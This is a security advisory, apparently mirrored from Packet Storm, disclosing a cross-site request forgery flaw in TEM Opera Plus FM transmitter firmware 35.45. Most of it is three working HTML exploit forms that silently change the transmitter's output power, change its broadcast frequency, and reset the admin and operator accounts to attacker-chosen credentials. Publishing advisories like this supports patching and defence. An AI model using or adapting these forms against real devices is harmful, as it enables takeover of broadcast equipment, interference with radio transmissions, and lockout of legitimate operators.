TEM Opera Plus FM Family Transmitter 35.45 Cross Site Request Forgery

2023-10-2600:00:00

LiquidWorm, zeroscience.mk

packetstormsecurity.com

183

tem opera plus

fm transmitter

xsrf

cross site request forgery

vulnerability

telecomunicazioni elettro milano

zsl-2023-5800

liquidworm

JSON

`<!--  
  
TEM Opera Plus FM Family Transmitter 35.45 XSRF  
  
  
Vendor: Telecomunicazioni Elettro Milano (TEM) S.r.l.  
Product web page: https://www.tem-italy.it  
Affected version: Software version: 35.45  
Webserver version: 1.7  
  
Summary: This new line of Opera plus FM Transmitters combines very  
high efficiency, high reliability and low energy consumption in compact  
solutions. They have innovative functions and features that can eliminate  
the costs required by additional equipment: automatic exchange of audio  
sources, built-in stereo encoder, integrated RDS encoder, parallel I/O  
card, connectivity through GSM telemetry and/or TCP IP / SNMP / SMTP  
Webserver.  
  
Desc: The application interface allows users to perform certain actions  
via HTTP requests without performing any validity checks to verify the  
requests. This can be exploited to perform certain actions with administrative  
privileges if a logged-in user visits a malicious web site.  
  
Tested on: Webserver  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2023-5800  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5800.php  
  
  
18.08.2023  
  
-->  
  
  
CSRF Change Forward Power:  
-------------------------  
  
<html>  
<body>  
<form action="http://192.168.1.2:8000/user/postcmd.htm" method="POST" enctype="text/plain">  
<input type="hidden" name="Pwr" value="00100" />  
<input type="submit" value="Change" />  
</form>  
</body>  
</html>  
  
  
CSRF Change Frequency:  
---------------------  
  
<html>  
<body>  
<form action="http://192.168.1.2:8000/user/postcmd.htm" method="POST" enctype="text/plain">  
<input type="hidden" name="Freq" value="95.5" />  
<input type="submit" value="Change" />  
</form>  
</body>  
</html>  
  
  
CSRF Change User/Pass/Priv Change Admin/User/Pass:  
-------------------------------------------------  
  
<html>  
<body>  
<form action="http://192.168.1.2:8000/protect/accounts.htm" method="POST">  
<input type="hidden" name="usr0" value="admin" />  
<input type="hidden" name="psw0" value="admin" />  
<input type="hidden" name="usr1" value="operator1" />  
<input type="hidden" name="psw1" value="operator1" />  
<input type="hidden" name="lev1" value="1" />  
<input type="hidden" name="usr2" value="operator2" />  
<input type="hidden" name="psw2" value="operator2" />  
<input type="hidden" name="lev2" value="1" />  
<input type="hidden" name="usr3" value="consulter1" />  
<input type="hidden" name="psw3" value="consulter1" />  
<input type="hidden" name="lev3" value="2" />  
<input type="hidden" name="usr4" value="consulter2" />  
<input type="hidden" name="psw4" value="consulter2" />  
<input type="hidden" name="lev4" value="2" />  
<input type="hidden" name="usr5" value="consulter3" />  
<input type="hidden" name="psw5" value="consulter3" />  
<input type="hidden" name="lev5" value="2" />  
<input type="submit" value="Change" />  
</form>  
</body>  
</html>  
`

JSON